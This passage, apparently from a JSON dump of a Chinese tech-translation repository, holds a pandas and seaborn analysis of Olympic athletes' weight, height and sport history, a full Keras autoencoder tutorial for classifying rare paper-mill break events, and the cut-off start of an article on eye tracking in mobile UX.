框架进行可视化。\n\n和本文一样，前一篇文章中我们使用了 [Kaggle 上 120 年奥运会数据集](https://www.kaggle.com/heesoo37/120-years-of-olympic-history-athletes-and-results#athlete_events.csv)，研究了女性运动员随时间推进的参与情况、运动员的体重和身高分布以及其它一些变量的分析，但没有使用到每一位运动员参与运动项目的数据。\n\n这一次，我们将关注数据集的体育运动栏数据，并获取一些关于它的信息。\n\n我能想到的几个问题是：\n\n*   哪项运动更有利于身材魁梧的人？个子高的人呢？\n*   哪些运动项目较新，哪些较旧？有没有什么运动项目是由于失去了奥运会的青睐而停止了比赛呢？\n*   有没有在某些运动项目中，总是同样的队伍获胜吗？那最多样化的运动呢，获胜者是不是来自于不同的地区？\n\n与前面一样，我们分析中使用的项目放在 [这个 Github 项目](https://github.com/StrikingLoo/Olympics-analysis-notebook) 中，你可以对其进行 fork（复制），并添加自己的分析和理解。\n让我们开始吧！\n\n### 体重与身材分析\n\n在我们的第一个分析中，我们想要分析看看哪些运动项目拥有最重和最高的运动员，哪些运动项目拥有最轻或最矮的运动员。\n\n正如我们在前一篇文章中看到的，身高和体重都很大程度上取决于性别，数据集中男性运动员的数据比女性运动员的数据要多。所以我们会对男性做分析，但同样的代码对任何一种性别都是适用的，只需要切换性别过滤器即可。\n\n```\nmale_df = df[df.Sex=='M']\nsport_weight_height_metrics = male_df.groupby(['Sport'])['Weight','Height'].agg(\n  ['min','max','mean'])\n\nsport_weight_height_metrics.Weight.dropna().sort_values('mean', ascending=False)[:5]\n```\n\n正如你所看见的那样，如果我按运动进行分组，就可以计算每个运动运动员体重和身高的最小、最大和平均值。\n\n然后我查看了排名前五的拥有体重最重运动员的运动，发现（以公斤为单位）：\n\n```\nSport            min  max  average\nTug-Of-War       75.0 118.0  95.61\nBasketball       59.0 156.0  91.68\nRugby Sevens     65.0 113.0  91.00\nBobsleigh        55.0 145.0  90.38\nBeach Volleyball 62.0 110.0  89.51\n```\n\n不是很意外对吧？拔河运动员、篮球运动员和橄榄球运动员体重都很重。有趣的是，篮球和橄榄球运动员的体重变化很大，从 59 公斤到 156 公斤，而大多数拔河运动员的体重都超过了 80 公斤。\n\n然后我画出了每种运动的平均体重图，发现它服从一个很好的正态分布：\n\n```\nsns.distplot(sport_weight_height_metrics.Weight.dropna()['mean'])\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*kyUYokW9XjQTKjsI0Faz9w.png)\n\n运动员的平均体重是服从正态分布的。\n\n运动员的身高具有相似的正态分布，但其方差很小，高度集中在均值附近：\n\n![](https://cdn-images-1.medium.com/max/800/1*f98OB-KyZbEN_IlN3Ew5MA.png)\n\n运动员的身高是呈正态分布的。\n\n接下来，我开始绘制所有的个体平均值，在有序的散点图中，看看是否有异常值出现。\n\n```\nmeans = list(sport_weight_height_metrics.Weight.dropna()['mean'])\nsports = list(sport_weight_height_metrics.Weight.dropna().index)\nplot_data = sorted(zip(sports, means), key = lambda x:x[1])\nplot_data_dict = {\n    'x' : [i for i, _ in enumerate(plot_data)],\n    'y' : [v[1] for i, v in enumerate(plot_data)],\n    'group' :  [v[0] for i, v in enumerate(plot_data)]\n}\nsns.scatterplot(data = plot_data_dict, x = 'x' , y = 'y')\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*d1Z18iF59ZAN_Z7lu0NiqA.png)\n\n每个奥林匹克运动员的平均身高分布。\n\n实际上，拥有最重运动员的运动相对于图表的其余部分来说是非常离群的，而拥有最轻运动员的运动也是如此。如果我们在观察一下身高，尽管方差明显更小，但图中显示的“离群值”和接近均值的人之间的差异更大，更明显的是大多数人并没有偏离均值太多。\n\n![](https://cdn-images-1.medium.com/max/800/1*aX9K7OlymvXLzwWfAFs8Bw.png)\n\n每项运动的运动员平均体重。\n\n对于运动员体重最轻的运动，可以使用之前生成的变量 _plot_data_ 来获取结果。\n\n```\nprint('lightest:')\nfor sport,weight in plot_data[:5]:\n    print(sport + ': ' + str(weight))\n\nprint('\\nheaviest:')    \nfor sport,weight in plot_data[-5:]:\n    print(sport + ': ' + str(weight))\n```\n\n结果（省略了最重的，因为我们已经在上面看过了）如下：\n\n```\nlightest:\nGymnastics:      63.3436047592\nSki Jumping:     65.2458805355\nBoxing:          65.2962797951\nTrampolining:    65.8378378378\nNordic Combined: 66.9095595127\n```\n\n体操运动员中甚至是男性运动员，都是迄今为止体重最轻的运动员！紧随其后的是跳台滑雪、拳击（这个让我有点吃惊）和蹦床，这其实很合理。\n\n如果我们寻找身高最高和最矮的运动员，结果就不会那么令人惊讶了。我猜我们都期望与想象中同样的运动能够在榜首，不出所料，确实如此。至少我们现在可以说这不是刻板印象。\n\n```\nshortest (cm):\nGymnastics:    167.644438396\nWeightlifting: 169.153061224\nTrampolining:  171.368421053\nDiving:        171.555352242\nWrestling:     172.870686236\n```\n\n```\ntallest (cm):\nRowing:           186.882697947\nHandball:         188.778373113\nVolleyball:       193.265659955\nBeach Volleyball: 193.290909091\nBasketball:       194.872623574\n```\n\n我们可以看到体操运动员一般是很轻、很矮的。但是，身高排名中的一些运动项目并没有出现在体重排名中。我想知道每种运动都有着什么样的“体型”（即重量 / 高度）？\n\n```\nmean_heights = sport_weight_height_metrics.Height.dropna()['mean']\nmean_weights = sport_weight_height_metrics.Weight.dropna()['mean']\navg_build = mean_weights/mean_heights\navg_build.sort_values(ascending = True)\nbuilds = list(avg_build.sort_values(ascending = True))\n\nplot_dict = {'x':[i for i,_ in enumerate(builds)],'y':builds}\nsns.lineplot(data=plot_dict, x='x', y='y')\n```\n\n这幅图看上去是线性的，直到我们到达大多数离群点落下来的顶端：\n\n![](https://cdn-images-1.medium.com/max/800/1*3NE2GsVnKoVG4cdHuP35uA.png)\n\n奥林匹克运动员的体型（重量/高度）分布\n\n以下是具有体型最小值和最大值的运动项目：\n\n```\nSmallest Build (Kg/centimeters)\nAlpine Skiing    0.441989\nArchery          0.431801\nArt Competitions 0.430488\nAthletics        0.410746\nBadminton        0.413997\nHeaviest Build\nTug-Of-War     0.523977\nRugby Sevens   0.497754\nBobsleigh      0.496656\nWeightlifting  0.474433\nHandball       0.473507\n```\n\n橄榄球和拔河比赛是具有最大值体型的运动项目。这次高山滑雪的运动员则是拥有最小值体型中的一个，紧随其后的是射箭和艺术比赛（这个是我刚知道的一项奥林匹克运动，需要进一步研究）。\n\n### 随时间推移的体育运动变化\n\n现在我们已经做了所有能想到的关于这三列的有趣的事情，我想开始观察一下时间变量。特别是今年。我想看看奥运会是否引进了新的运动项目，什么时候引进。同样也要观察一下被废弃的体育项目。\n\n我们想要看一下一个东西第一次是什么时候出现的，下面这段代码一般会很有用，特别是当我们想看一下某个变量的异常增长时。\n\n```\nfrom collections import Counter\n\nsport_min_year = male_df.groupby('Sport').Year.agg(['min','max'])['min'].sort_values('index')\nyear_count = Counter(sport_min_year)\nyear = list(year_count.keys())\nnew_sports = list(year_count.values())\n\ndata = {'x':year, 'y':new_sports}\nsns.scatterplot(data=data, x = 'x', y='y')\n```\n\n#### 结果\n\n这张图表向我们展示了每年有多少体育项目首次在奥运会上进行。或者，换句话说，每年有多少运动被引进：\n\n![](https://cdn-images-1.medium.com/max/800/1*C4I8ie1tjSt6PsdWCXtD9g.png)\n\nQuantity of Sports introduced each year.  \n\n所以尽管在 1910 年之前就已经有很多运动项目，并且大多数的运动项目是在 1920 年之前引进的，但还是有很多新引进的。看着这些数据，我们就会发现 1936 年引进了很多新的运动项目，之后的每年引进的新项目就很少了（少于 5 个运动项目） \n从 1936 年到 1960 年的这段时间里没有什么新的运动项目引进，直到冬季两项运动项目的出现，之后就定期地增加新项目：\n\n```\nSport           introduced\nBiathlon           1960\nLuge               1964\nVolleyball         1964\nJudo               1964\nTable Tennis       1988\nBaseball           1992\nShort Track Speed Skating 1992\nBadminton           1992\nFreestyle Skiing    1992\nBeach Volleyball    1996\nSnowboarding        1998\nTaekwondo           2000\nTrampolining        2000\nTriathlon           2000\nRugby Sevens        2016\n```\n\n对废弃运动（最大的年份并不在最近）进行的类比分析，结果显示这张运动列表中，其中大部分我从未听说过（尽管这绝不是衡量一项运动是否是流行的好指标！）\n\n```\nBasque Pelota    1900\nCroquet          1900\nCricket          1900\nRoque            1904\nJeu De Paume     1908\nRacquets         1908\nMotorboating     1908\nLacrosse         1908\nTug-Of-War       1920\nRugby            1924\nMilitary Ski Patrol 1924\nPolo             1936\nAeronautics      1936\nAlpinism         1936\nArt Competitions 1948\n```\n\n我们看到艺术比赛在 1948 年被取消，马球自 1936 年以来就没有在奥运会上出现过，飞行比赛也是如此。如果有人知道飞行比赛到底是什么，请告知我。我可以想到是在飞机上进行，但不知道比赛会是什么样子。也许是飞机飞行比赛？让它们再回到赛场上吧！\n\n今天就到这里，伙计们！我希望你能喜欢这个教程，或许你已经得到了一个新的有趣的想法，可以在你的下次家庭晚餐中聊一聊。\n和以往一样，你可以随意从该分析中 fork（复制）代码并添加自己的观点。后续工作我正在考虑使用基于运动、体重和身高列的数据来 [训练一个小型的机器学习模型来预测运动员的性别](http://www.dataden.tech/data-science/machine-learning-introduction-applying-logistic-regression-to-a-kaggle-dataset-with-tensorflow/)，告诉我你会用什么模型呢？ \n如果你觉得本文有什么地方表述不正确，或者有一些简单错误，请让我知道，让我们共同学习！\n\n**继续访问网站以获取更多数据分析文章、Python 技术教程和其它数据相关内容。如果你喜欢这篇文章，请在 twitter 上与你的朋友分享。**\n\n**可以在 [Twitter](http://twitter.com/strikingloo) 或者 [Medium](http://www.medium.com/@strikingloo) 上关注我获取更多新内容。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/extreme-rare-event-classification-using-autoencoders-in-keras.md",
    "content": "> * 原文地址：[Extreme Rare Event Classification using Autoencoders in Keras](https://towardsdatascience.com/extreme-rare-event-classification-using-autoencoders-in-keras-a565b386f098)\n> * 原文作者：[Chitta Ranjan](https://medium.com/@cran2367)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/extreme-rare-event-classification-using-autoencoders-in-keras.md](https://github.com/xitu/gold-miner/blob/master/TODO1/extreme-rare-event-classification-using-autoencoders-in-keras.md)\n> * 译者：[ccJia](https://github.com/ccJia)\n> * 校对者：[lsvih](https://github.com/lsvih)\n\n# 在 Keras 下使用自编码器分类极端稀有事件\n\n> 在本文中，我们将要学习使用自编码器搭建一个稀有事件分类器.我们将使用来自[1]的一个现实场景稀有事件数据集。\n\n## 背景\n\n### 什么是极端稀有事件？\n\n在稀有事件问题中，我们面对的是一个不平衡的数据集。这代表着，相较于负样本，我们只有很少的正样本标签。典型的稀有事件问题中，正样本在全部数据中占比大概在 5-10% 之间。在极端稀有事件问题中，我们只有少于 1% 的正样本数据。比如，在我们使用的数据集中，正样本只有 0.6%。\n\n这种极端稀有的事件在现实世界中是十分普遍的。比如，工厂中的纸张断裂和机器故障，在线销售行业中的点击或者购买。\n\n分类这些稀有事件是十分具有挑战的。最近，深度学习被广泛应用于分类问题。然而，**少量的正样本限制了深度学习的应用**。不管数据量有多大，正样本数量都会限制深度学习的效果。\n\n### 为什么还要绞尽脑汁使用深度学习？\n\n这是一个合理的问题。我们为什么不去考虑使用其他的机器学习方法呢？\n\n答案是主观的。我们可以使用机器学习方法。为了使它工作，我们可以对负样本数据进行负采样，使得数据接近平衡。由于正样本数据只有 0.6%，降采样后的数据集大概只有原始数据集大小的 1%。一些机器学习方法，如：SVM、随机森林等，都可以在这个数据量上工作。然而，它的准确率会受到限制。这是因为我们不会使用剩下的 99% 的数据。\n\n如果数据充足，深度学习会表现的更好。它还可以通过使用不同的结构来灵活的改进模型。因此，我们准备尝试使用深度学习方法。\n\n***\n\n在本推文中，**我们将要学习如何使用一个简单的全连接层自编码器来搭建一个稀有事件分类器**。推文的目是为了展示一个极端稀有事件分类器的自编码器实现。我们将探索不同自编码器结构和配置的工作留给读者。如果有什么有趣的发现，请分享给我们。\n\n## 针对分类的自编码器\n\n自编码器处理分类任务的方法类似于**异常检测**。在异常检测中，我们学习正常过程的模式。任何与这个模式不一致的东西，我们都认为是异常的。对于一个稀有事件的二分类任务，我们可以用类似的方法使用自编码器（[延伸阅读](https://www.datascience.com/blog/fraud-detection-with-tensorflow) [2]）。\n\n### 快速浏览：什么是自编码器？\n\n* 自编码器由编码器和解码器组成。\n* 编码器用来学习过程的潜在特征。这些特征通常是由少量的维度表出。\n* 解码器可以从潜在的特征中重构出原始的数据。\n\n![Figure 1. 自编码器的示意图。 [[Source](http://i-systems.github.io/HSE545/machine%20learning%20all/Workshop/CAE/06_CAE_Autoencoder.html): Autoencoder by Prof. Seungchul Lee\niSystems Design Lab]](https://cdn-images-1.medium.com/max/2000/1*S_OcBPkRTpKJo0iz5IaNbQ.png)\n\n### 怎么使用自编码器来分类稀有事件？\n\n* 我们首先将数据分为两个部分：正样本标签和负样本标签。\n* 负样本标签被约定为过程的**正常**状态。**正常**状态是无事件的过程。\n* 我们将忽视正样本数据，同时在负样本上训练这个自编码器。\n* 现在，这个自编码器学习了所有**正常**过程的特征。\n* 一个充分训练的自编码器可以预测任何来自**正常**状态的过程（因为他们有同样的模式和分布）。\n* 因此，重构的误差会比较小。\n* 然而，如果我们重构一个来自稀有事件的数据，那么自编码器会遇到困难。\n* 这会导致重构稀有事件时，会有一个很高的重构误差。\n* 我们可以捕获这些高重构误差同时标记它们为稀有事件\n* 这个过程类似于异常检测。\n\n## 实现\n\n### 数据和问题\n\n这是一个关于纸张断裂的二分类标签数据来自于造纸厂。在造纸厂，纸张断裂是一个严重的问题。单次的纸张断裂可能造成数千美金的损失，而且工厂每天至少会发生一次或多次纸张断裂。这导致每年数百万美元的损失和工作风险。\n\n由于过程的性质，检测中断事件非常具有挑战性。正如[1]中提到的，即使减少 5% 的断裂也会给钢厂带来显著的好处。\n\n通过 15 天的收集，我们得到了包含 18K 行的数据。列 ‘y’ 包含了二分类标签，1 代表断裂。 其他列是预测器。这里有 124 个正样本（~0.6%）。\n\n从[这里]下载数据(https://docs.google.com/forms/d/e/1FAIpQLSdyUk3lfDl7I5KYK_pw285LCApc-_RcoC0Tf9cnDnZ_TWzPAw/viewform)下载数据。\n\n### 代码\n\nImport the desired libraries.\n\n```python\n%matplotlib inline\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport pandas as pd\nimport numpy as np\nfrom pylab import rcParams\n\nimport tensorflow as tf\nfrom keras.models import Model, load_model\nfrom keras.layers import Input, Dense\nfrom keras.callbacks import ModelCheckpoint, TensorBoard\nfrom keras import regularizers\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix, precision_recall_curve\nfrom sklearn.metrics import recall_score, classification_report, auc, roc_curve\nfrom sklearn.metrics import precision_recall_fscore_support, f1_score\n\nfrom numpy.random import seed\nseed(1)\nfrom tensorflow import set_random_seed\nset_random_seed(2)\n\nSEED = 123 #used to help randomly select the data points\nDATA_SPLIT_PCT = 0.2\n\nrcParams['figure.figsize'] = 8, 6\nLABELS = [\"Normal\",\"Break\"]\n```\n\n注意，为了可复现结果，我们设置了随机数种子。\n\n**数据处理**\n\n现在，我们来读取和准备数据。\n\n```python\ndf = pd.read_csv(\"data/processminer-rare-event-mts - data.csv\")\n```\n\n这个稀有事件问题的目的是在发生断裂前预测它。我们尝试提前 4 分钟预测出断裂。为了建立这个模型，我们把数据标签提前 2 行（对应于 4 分钟）。通过这行代码实现 `df.y=df.y.shift(-2)`。然而，在这个问题中，我们想做的是：判断行 n 是否会被标记为正样本，\n\n* 让 (**n**-2) 和 (**n**-1) 标记为 1。这样可以帮助分类器学习到提前 4 分钟预测。\n\n* 删除 **n** 行。因为我们不想让分类器学习预测正在发生的断裂。\n\n我们将为这个曲线移动开发以下 UDF。\n\n```python\nsign = lambda x: (1, -1)[x < 0]\n\ndef curve_shift(df, shift_by):\n    '''\n    这个函数是用来偏移数据中的二分类标签。\n    平移只针对标签为 1 的数据\n    举个例子，如果偏移量为 -2，下面的处理将会发生：\n    如果是 n 行的标签为 1，那么\n    - 使 (n+shift_by):(n+shift_by-1) = 1\n    - 删除第 n 行。\n    也就是说标签会上移 2 行。\n    \n    输入：\n    df       一个分类标签列的 pandas 数据。\n             这个标签列的名字是 ‘y’。\n    shift_by 一个整数，表示要移动的行数。\n    \n    输出：\n    df       按照偏移量平移过后的数据。\n    '''\n\n    vector = df['y'].copy()\n    for s in range(abs(shift_by)):\n        tmp = vector.shift(sign(shift_by))\n        tmp = tmp.fillna(0)\n        vector += tmp\n    labelcol = 'y'\n    # 添加向量到 df\n    df.insert(loc=0, column=labelcol+'tmp', value=vector)\n    # 删除 labelcol == 1 的行.\n    df = df.drop(df[df[labelcol] == 1].index)\n    # 丢弃 labelcol 同时将 tmp 作为 labelcol。\n    df = df.drop(labelcol, axis=1)\n    df = df.rename(columns={labelcol+'tmp': labelcol})\n    # 制作二分类标签\n    df.loc[df[labelcol] > 0, labelcol] = 1\n\n    return df\n```\n\n现在，我们将数据分为训练集、验证集和测试集。然后我们将只使用标签为 0 的子集来训练自编码器。\n\n```python\ndf_train, df_test = train_test_split(df, test_size=DATA_SPLIT_PCT, random_state=SEED)\ndf_train, df_valid = train_test_split(df_train, test_size=DATA_SPLIT_PCT, random_state=SEED)\n\ndf_train_0 = df_train.loc[df['y'] == 0]\ndf_train_1 = df_train.loc[df['y'] == 1]\ndf_train_0_x = df_train_0.drop(['y'], axis=1)\ndf_train_1_x = df_train_1.drop(['y'], axis=1)\n\ndf_valid_0 = df_valid.loc[df['y'] == 0]\ndf_valid_1 = df_valid.loc[df['y'] == 1]\ndf_valid_0_x = df_valid_0.drop(['y'], axis=1)\ndf_valid_1_x = df_valid_1.drop(['y'], axis=1)\n\ndf_test_0 = df_test.loc[df['y'] == 0]\ndf_test_1 = df_test.loc[df['y'] == 1]\ndf_test_0_x = df_test_0.drop(['y'], axis=1)\ndf_test_1_x = df_test_1.drop(['y'], axis=1)\n```\n\n**标准化**\n\n对于自编码器，通常最好使用标准化数据(转换为高斯、均值 0 和方差 1)。\n\n```python\nscaler = StandardScaler().fit(df_train_0_x)\ndf_train_0_x_rescaled = scaler.transform(df_train_0_x)\ndf_valid_0_x_rescaled = scaler.transform(df_valid_0_x)\ndf_valid_x_rescaled = scaler.transform(df_valid.drop(['y'], axis = 1))\n\ndf_test_0_x_rescaled = scaler.transform(df_test_0_x)\ndf_test_x_rescaled = scaler.transform(df_test.drop(['y'], axis = 1))\n```\n\n### 自编码分类器\n\n**初始化**\n\n首先，我们将初始化自编码器框架。我们只构建一个简单的自编码器。更多复杂的结构和配置留给读者去探索。\n\n```python\nnb_epoch = 100\nbatch_size = 128\ninput_dim = df_train_0_x_rescaled.shape[1] #num of predictor variables, \nencoding_dim = 32\nhidden_dim = int(encoding_dim / 2)\nlearning_rate = 1e-3\n\ninput_layer = Input(shape=(input_dim, ))\nencoder = Dense(encoding_dim, activation=\"tanh\", activity_regularizer=regularizers.l1(learning_rate))(input_layer)\nencoder = Dense(hidden_dim, activation=\"relu\")(encoder)\ndecoder = Dense(hidden_dim, activation='tanh')(encoder)\ndecoder = Dense(input_dim, activation='relu')(decoder)\nautoencoder = Model(inputs=input_layer, outputs=decoder)\n```\n\n**训练**\n\n我们将训练模型，并保存它到指定文件。存储训练模型是节省未来分析时间的好方法。\n\n```python\nautoencoder.compile(metrics=['accuracy'],\n                    loss='mean_squared_error',\n                    optimizer='adam')\n\ncp = ModelCheckpoint(filepath=\"autoencoder_classifier.h5\",\n                               save_best_only=True,\n                               verbose=0)\n\ntb = TensorBoard(log_dir='./logs',\n                histogram_freq=0,\n                write_graph=True,\n                write_images=True)\n\nhistory = autoencoder.fit(df_train_0_x_rescaled, df_train_0_x_rescaled,\n                    epochs=nb_epoch,\n                    batch_size=batch_size,\n                    shuffle=True,\n                    validation_data=(df_valid_0_x_rescaled, df_valid_0_x_rescaled),\n                    verbose=1,\n                    callbacks=[cp, tb]).history\n```\n\n![Figure 2. 自编码器训练过程的损失值。](https://cdn-images-1.medium.com/max/2696/1*dMlsnQly8WLMNoJqjG9nVg.png)\n\n**分类器**\n\n接下来，我们将展示我们如何使用自编码器对于稀有事件的重构误差来做分类。\n\n之前已经提到，如果重构误差比较高，我们将认定它是一次断裂。我们需要定一个阈值。\n\n我们使用验证集来设置阈值。\n\n```python\nvalid_x_predictions = autoencoder.predict(df_valid_x_rescaled)\nmse = np.mean(np.power(df_valid_x_rescaled - valid_x_predictions, 2), axis=1)\nerror_df = pd.DataFrame({'Reconstruction_error': mse,\n                        'True_class': df_valid['y']})\n\nprecision_rt, recall_rt, threshold_rt = precision_recall_curve(error_df.True_class, error_df.Reconstruction_error)\nplt.plot(threshold_rt, precision_rt[1:], label=\"Precision\",linewidth=5)\nplt.plot(threshold_rt, recall_rt[1:], label=\"Recall\",linewidth=5)\nplt.title('Precision and recall for different threshold values')\nplt.xlabel('Threshold')\nplt.ylabel('Precision/Recall')\nplt.legend()\nplt.show()\n```\n\n![Figure 3. 阈值为0.85应该在精确度和召回率之间提供一个合理的平衡。](https://cdn-images-1.medium.com/max/2768/1*s5MCn5NruZSXSu7MAg4jNA.png)\n\n现在，我们将对测试数据进行分类。\n\n> **我们不应该根据测试数据来估计分类阈值。这会导致过拟合。**\n\n```python\ntest_x_predictions = autoencoder.predict(df_test_x_rescaled)\nmse = np.mean(np.power(df_test_x_rescaled - test_x_predictions, 2), axis=1)\nerror_df_test = pd.DataFrame({'Reconstruction_error': mse,\n                        'True_class': df_test['y']})\nerror_df_test = error_df_test.reset_index()\n\nthreshold_fixed = 0.85\ngroups = error_df_test.groupby('True_class')\n\nfig, ax = plt.subplots()\n\nfor name, group in groups:\n    ax.plot(group.index, group.Reconstruction_error, marker='o', ms=3.5, linestyle='',\n            label= \"Break\" if name == 1 else \"Normal\")\nax.hlines(threshold_fixed, ax.get_xlim()[0], ax.get_xlim()[1], colors=\"r\", zorder=100, label='Threshold')\nax.legend()\nplt.title(\"Reconstruction error for different classes\")\nplt.ylabel(\"Reconstruction error\")\nplt.xlabel(\"Data point index\")\nplt.show();\n```\n\n![Figure 4. 使用阈值 = 0.85 进行分类。阈值线上方的橙色和蓝色圆点分别表示真阳性和假阳性。](https://cdn-images-1.medium.com/max/3308/1*MjCGb-HIfcyiFoeFyjF2Dw.png)\n\n在图 4 中，阈值线上方的橙色和蓝色圆点分别表示真阳性和假阳性。正如我们所看到的，我们有很多假阳性。为了更好的理解，我们使用混淆矩阵来表示。\n\n```python\npred_y = [1 if e > threshold_fixed else 0 for e in error_df.Reconstruction_error.values]\n\nconf_matrix = confusion_matrix(error_df.True_class, pred_y)\n\nplt.figure(figsize=(12, 12))\nsns.heatmap(conf_matrix, xticklabels=LABELS, yticklabels=LABELS, annot=True, fmt=\"d\");\nplt.title(\"Confusion matrix\")\nplt.ylabel('True class')\nplt.xlabel('Predicted class')\nplt.show()\n```\n\n![Figure 5. 测试集预测结果的混淆矩阵。](https://cdn-images-1.medium.com/max/2948/1*MSwOdDkv8coFWzgYhTCVgw.png)\n\n我们可以预测 32 次断裂中的 9 次。值得注意的是，这些结果是提前 2 到 4 分钟预测的。这一比率大概是 28%，这对于造纸业来说已经是一个很好的召回率了。假阳性大致是 6.3%。这并不完美，但是对于工厂而言也不坏。\n\n该模型还可以进一步改进，在假阳性率较小的情况下提高召回率。我们将在下面讨论 AUC，然后讨论下一个改进方法。\n\n**ROC 曲线和 AUC**\n\n```python\nfalse_pos_rate, true_pos_rate, thresholds = roc_curve(error_df.True_class, error_df.Reconstruction_error)\nroc_auc = auc(false_pos_rate, true_pos_rate,)\n\nplt.plot(false_pos_rate, true_pos_rate, linewidth=5, label='AUC = %0.3f'% roc_auc)\nplt.plot([0,1],[0,1], linewidth=5)\n\nplt.xlim([-0.01, 1])\nplt.ylim([0, 1.01])\nplt.legend(loc='lower right')\nplt.title('Receiver operating characteristic curve (ROC)')\nplt.ylabel('True Positive Rate')\nplt.xlabel('False Positive Rate')\nplt.show()\n```\n\n![](https://cdn-images-1.medium.com/max/3420/1*GAyB6Bruo8YNBiEUiav0mw.png)\n\nAUC 的结构是 0.624。\n\n### Github 仓库\n\n带有注释的代码在[这里](https://github.com/cran2367/autoencoder_classifier)。\n[**cran2367/autoencoder_classifier**\n**Autoencoder model for rare event classification. Contribute to cran2367/autoencoder_classifier development by creating…**github.com](https://github.com/cran2367/autoencoder_classifier/blob/master/autoencoder_classifier.ipynb)\n\n## 还有什么可以做得更好呢?\n\n这是一个（多元）时间序列数据。我们没有考虑数据中的时间信息/模式。我们将在[下一篇推文](https://medium.com/@cran2367/lstm-autoencoder-for-extreme-rare-event-classification-in-keras-ce209a224cfb)探索是否可以结合 RNN 进行分类。我们将尝试 [LSTM autoencoder](https://medium.com/@cran2367/lstm-autoencoder-for-extreme-rare-event-classification-in-keras-ce209a224cfb)。\n\n## 结论\n\n我们研究了一个工作于造纸厂的极端稀有事件的二值数据的自编码分类器。我们达到了不错的准确度。我们的目的是展示自编码器对于稀有事件分类问题的基础应用。我们之后会尝试开发其它的方法，包括可以结合时空特征的 [LSTM Autoencoder](https://medium.com/@cran2367/lstm-autoencoder-for-extreme-rare-event-classification-in-keras-ce209a224cfb) 来达到一个更好的效果。\n\n下一篇关于 LSTM 自编码的推文在这里 [LSTM Autoencoder for rare event classification](https://medium.com/@cran2367/lstm-autoencoder-for-extreme-rare-event-classification-in-keras-ce209a224cfb).\n\n## 引用\n\n1. Ranjan, C., Mustonen, M., Paynabar, K., & Pourak, K. (2018). Dataset: Rare Event Classification in Multivariate Time Series. [**arXiv preprint arXiv:1809.10717**](https://arxiv.org/abs/1809.10717).\n2. [https://www.datascience.com/blog/fraud-detection-with-tensorflow](https://www.datascience.com/blog/fraud-detection-with-tensorflow)\n3. Github repo: [https://github.com/cran2367/autoencoder_classifier](https://github.com/cran2367/autoencoder_classifier)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/eye-tracking-and-the-best-ux-practices-in-the-mobile-world.md",
    "content": "> * 原文地址：[眼动追踪和移动世界的最佳用户体验实践](https://medium.com/nyc-design/eye-tracking-and-the-best-ux-practices-in-the-mobile-world-a101f67f20dd)\n> * 原文作者：[Naman Sehgal](https://medium.com/@sehgal.naman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/eye-tracking-and-the-best-ux-practices-in-the-mobile-world.md](https://github.com/xitu/gold-miner/blob/master/TODO1/eye-tracking-and-the-best-ux-practices-in-the-mobile-world.md)\n> * 译者：[Charlo](https://github.com/Charlo-O?tab=repositories)\n> * 校对者：[Long Xiong](https://github.com/xionglong58)、[PingHGao](https://github.com/PingHGao)\n\n# 眼动追踪和移动世界的最佳用户体验实践\n\n![](https://imgkr.cn-bj.ufileos.com/2c668962-2d6a-4f85-96a0-5b3485f64c45.jpeg)\n\n在当今世界，可用性测试对于设计用户友好的界面至关重要。这些测试采用不同的形式和方法来帮助设计师发现可用性问题。这在把握设计期望和用户行为之间的关系时至关重要。诸如眼动追踪一类的以传感器为基础的技术，在深入了解用户如何与技术交互方面具有革命性意义。\n\n眼动追踪是一种可用方法和工具，它可以在给定的界面上显示用户的焦点和访问模式。它能够为设计者提供详尽反馈，界面哪些元素能够吸引用户的眼球。它还可以有效地评估设计/内容层次结构。眼动追踪是一种很有洞察力的研究技术，它决定了用户的关注焦点和用户的注意力。\n\n![](https://imgkr.cn-bj.ufileos.com/56680bdb-32e8-491f-9990-a041a6a7818b.jpeg)\n\n## 移动互联网中的眼动追踪\n\n考虑到超过 80% 